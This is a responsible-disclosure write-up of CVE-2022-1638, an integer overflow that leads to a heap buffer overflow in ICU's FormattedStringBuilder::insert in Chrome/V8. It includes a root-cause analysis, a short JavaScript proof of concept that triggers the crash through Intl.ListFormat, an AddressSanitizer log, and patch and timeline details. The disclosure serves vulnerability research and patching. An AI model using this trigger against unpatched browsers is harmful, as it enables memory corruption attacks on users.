Title
- Integer Overflow Leading to OOB Write/Heap-based Buffer Overflow in icu_71::FormattedStringBuilder::insert
Summary
- A OOB Write/Heap-based Buffer Overflow vulnerability exists in the icu_71::FormattedStringBuilder::insert
- An attacker must open a arbitrary generated HTML file to exploit this vulnerability.
Security Severity
- 8.8 High (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Test environment
- MacOS Monterey 12.3.1(21E258)
- Chrome 100.0.4896.127 (Stable Channel)
- asan-mac-release-993256
Root Cause Analysis
int32_t FormattedStringBuilder::insert(int32_t index, const UnicodeString &unistr, Field field,
UErrorCode &status) {
if (unistr.length() == 0) {
// Nothing to insert.
return 0;
} else if (unistr.length() == 1) {
// Fast path: insert using insertCodePoint.
return insertCodePoint(index, unistr.charAt(0), field, status);
} else {
return insert(index, unistr, 0, unistr.length(), field, status); // [1]
}
}
int32_t
FormattedStringBuilder::insert(int32_t index, const UnicodeString &unistr, int32_t start, int32_t end,
Field field, UErrorCode &status) {
int32_t count = end - start;
int32_t position = prepareForInsert(index, count, status); // [2]
if (U_FAILURE(status)) {
return count;
}
for (int32_t i = 0; i < count; i++) {
getCharPtr()[position + i] = unistr.charAt(start + i); // [3]
getFieldPtr()[position + i] = field;
}
return count;
}
In the FormattedStringBuilder::insert
function [2], the return value of prepareForInsert is stored in the position variable.
Return FormattedStringBuilder::prepareForInsertHelper
when all branch statements are false from FormattedStringBuilder::prepareForInsert
function.
Here, the validation of the returned value from this function is not done, resulting in an integer overflow
.
Returning to the FormattedStringBuilder::insert
function again, you can see large integer are input into the position variable and the position variable is input at the index of the array in the code [3].
v8 crashes with Out-Of-Bounds Write (Heap-Based Buffer Overflow)
.
Proof-of-Concept
var s = "a".repeat(0xFFFFFFE);
print("len: ", new Intl.ListFormat().format(Array(16).fill(s)).length);
Reproduce
- ./d8 poc.js
Address Sanitizer
(base) dnslab@dnslabui-iMac ~/D/asan-mac-release-993256> ./d8 test.js
d8(93143,0x117bb0600) malloc: nano zone abandoned due to inability to preallocate reserved vm space.
=================================================================
==93143==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x0005c00397f8 at pc 0x00010a3320f4 bp 0x7ff7b89bbdc0 sp 0x7ff7b89bbdb8
WRITE of size 2 at 0x0005c00397f8 thread T0
#0 0x10a3320f3 in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, int, int, icu_71::FormattedStringBuilder::Field, UErrorCode&) formatted_string_builder.cpp:188
#1 0x10a331aca in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, icu_71::FormattedStringBuilder::Field, UErrorCode&) formatted_string_builder.cpp:175
#2 0x10a348d12 in icu_71::(anonymous namespace)::FormattedListBuilder::append(icu_71::SimpleFormatter const&, icu_71::UnicodeString const&, int, UErrorCode&) listformatter.cpp:602
#3 0x10a347f77 in icu_71::ListFormatter::formatStringsToValue(icu_71::UnicodeString const*, int, UErrorCode&) const listformatter.cpp:717
#4 0x10847b27d in v8::internal::JSListFormat::FormatList(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSListFormat>, v8::internal::Handle<v8::internal::FixedArray>) js-list-format.cc:281
#5 0x108acf165 in v8::internal::Runtime_FormatList(int, unsigned long*, v8::internal::Isolate*) runtime-intl.cc:36
#6 0x10a074677 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x37 (d8:x86_64+0x102b34677) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#7 0x10a101c41 in Builtins_ListFormatPrototypeFormat+0x81 (d8:x86_64+0x102bc1c41) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#8 0x109ff60a2 in Builtins_InterpreterEntryTrampoline+0xe2 (d8:x86_64+0x102ab60a2) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#9 0x109ff461b in Builtins_JSEntryTrampoline+0x5b (d8:x86_64+0x102ab461b) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#10 0x109ff4346 in Builtins_JSEntry+0x86 (d8:x86_64+0x102ab4346) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#11 0x107a8ab01 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:425
#12 0x107a8c316 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) execution.cc:534
#13 0x1075e069c in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) api.cc:2148
#14 0x10755d813 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::PrintResult, v8::Shell::ReportExceptions, v8::Shell::ProcessMessageQueue) d8.cc:773
#15 0x10758b2f3 in v8::SourceGroup::Execute(v8::Isolate*) d8.cc:3992
#16 0x107592769 in v8::Shell::RunMain(v8::Isolate*, bool) d8.cc:4707
#17 0x1075979b6 in v8::Shell::Main(int, char**) d8.cc:5528
#18 0x117b3551d in start+0x1cd (dyld:x86_64+0x551d) (BuildId: dd9e80defb3b349b96a446874ad34d1132000000200000000100000000030c00)
0x0005c00397f8 is located 0 bytes to the right of 4294967288-byte region [0x0004c0039800,0x0005c00397f8)
allocated by thread T0 here:
#0 0x10c725550 (libclang_rt.asan_osx_dynamic.dylib:x86_64+0x47550) (BuildId: 2d8a55079e643bcc85fe4b63b45db9d8240000001000000000070a0000010b00)
#1 0x10a333560 in icu_71::FormattedStringBuilder::prepareForInsertHelper(int, int, UErrorCode&) formatted_string_builder.cpp:288
#2 0x10a331d03 in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, int, int, icu_71::FormattedStringBuilder::Field, UErrorCode&) formatted_string_builder.cpp:183
#3 0x10a331aca in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, icu_71::FormattedStringBuilder::Field, UErrorCode&) formatted_string_builder.cpp:175
#4 0x10a348d12 in icu_71::(anonymous namespace)::FormattedListBuilder::append(icu_71::SimpleFormatter const&, icu_71::UnicodeString const&, int, UErrorCode&) listformatter.cpp:602
#5 0x10a347f77 in icu_71::ListFormatter::formatStringsToValue(icu_71::UnicodeString const*, int, UErrorCode&) const listformatter.cpp:717
#6 0x10847b27d in v8::internal::JSListFormat::FormatList(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSListFormat>, v8::internal::Handle<v8::internal::FixedArray>) js-list-format.cc:281
#7 0x108acf165 in v8::internal::Runtime_FormatList(int, unsigned long*, v8::internal::Isolate*) runtime-intl.cc:36
#8 0x10a074677 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x37 (d8:x86_64+0x102b34677) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#9 0x10a101c41 in Builtins_ListFormatPrototypeFormat+0x81 (d8:x86_64+0x102bc1c41) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#10 0x109ff60a2 in Builtins_InterpreterEntryTrampoline+0xe2 (d8:x86_64+0x102ab60a2) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#11 0x109ff461b in Builtins_JSEntryTrampoline+0x5b (d8:x86_64+0x102ab461b) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#12 0x109ff4346 in Builtins_JSEntry+0x86 (d8:x86_64+0x102ab4346) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
#13 0x107a8ab01 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:425
#14 0x107a8c316 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) execution.cc:534
#15 0x1075e069c in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) api.cc:2148
#16 0x10755d813 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::PrintResult, v8::Shell::ReportExceptions, v8::Shell::ProcessMessageQueue) d8.cc:773
#17 0x10758b2f3 in v8::SourceGroup::Execute(v8::Isolate*) d8.cc:3992
#18 0x107592769 in v8::Shell::RunMain(v8::Isolate*, bool) d8.cc:4707
#19 0x1075979b6 in v8::Shell::Main(int, char**) d8.cc:5528
#20 0x117b3551d in start+0x1cd (dyld:x86_64+0x551d) (BuildId: dd9e80defb3b349b96a446874ad34d1132000000200000000100000000030c00)
SUMMARY: AddressSanitizer: heap-buffer-overflow formatted_string_builder.cpp:188 in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, int, int, icu_71::FormattedStringBuilder::Field, UErrorCode&)
Shadow bytes around the buggy address:
0x1000b80072a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000b80072b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000b80072c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000b80072d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000b80072e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000b80072f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]
0x1000b8007300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1000b8007310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1000b8007320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1000b8007330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1000b8007340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==93143==ABORTING
Received signal 6
==== C stack trace ===============================
[0x00010a27235e]
[0x7ff8137b2dfd]
[0x7ff7b89bac78]
[0x7ff8136e8d24]
[0x00010c74a7a6]
[0x00010c749f04]
[0x00010c72d9d7]
[0x00010c72cc7c]
[0x00010c72e16b]
[0x00010a3320f4]
[0x00010a331acb]
[0x00010a348d13]
[0x00010a347f78]
[0x00010847b27e]
[0x000108acf166]
[0x00010a074678]
[0x00010a101c42]
[0x000109ff60a3]
[end of stack trace]
CREDIT Information
- DoHyun Lee (@l33d0hyun) of DNSLab, Korea University
Patch & Release
- https://chromium-review.googlesource.com/c/chromium/deps/icu/+/3614280
- https://chromereleases.googleblog.com/2022/05/stable-channel-update-for-desktop_10.html
Timeline
- 2022-04-18 : Vendor Report
- 2022-04-20 : Vendor Assigned
- 2022-04-22 : Vendor Investigating
- 2022-04-30 : Fixed
- 2022-05-10 : Published (CVE-2022-1638)
댓글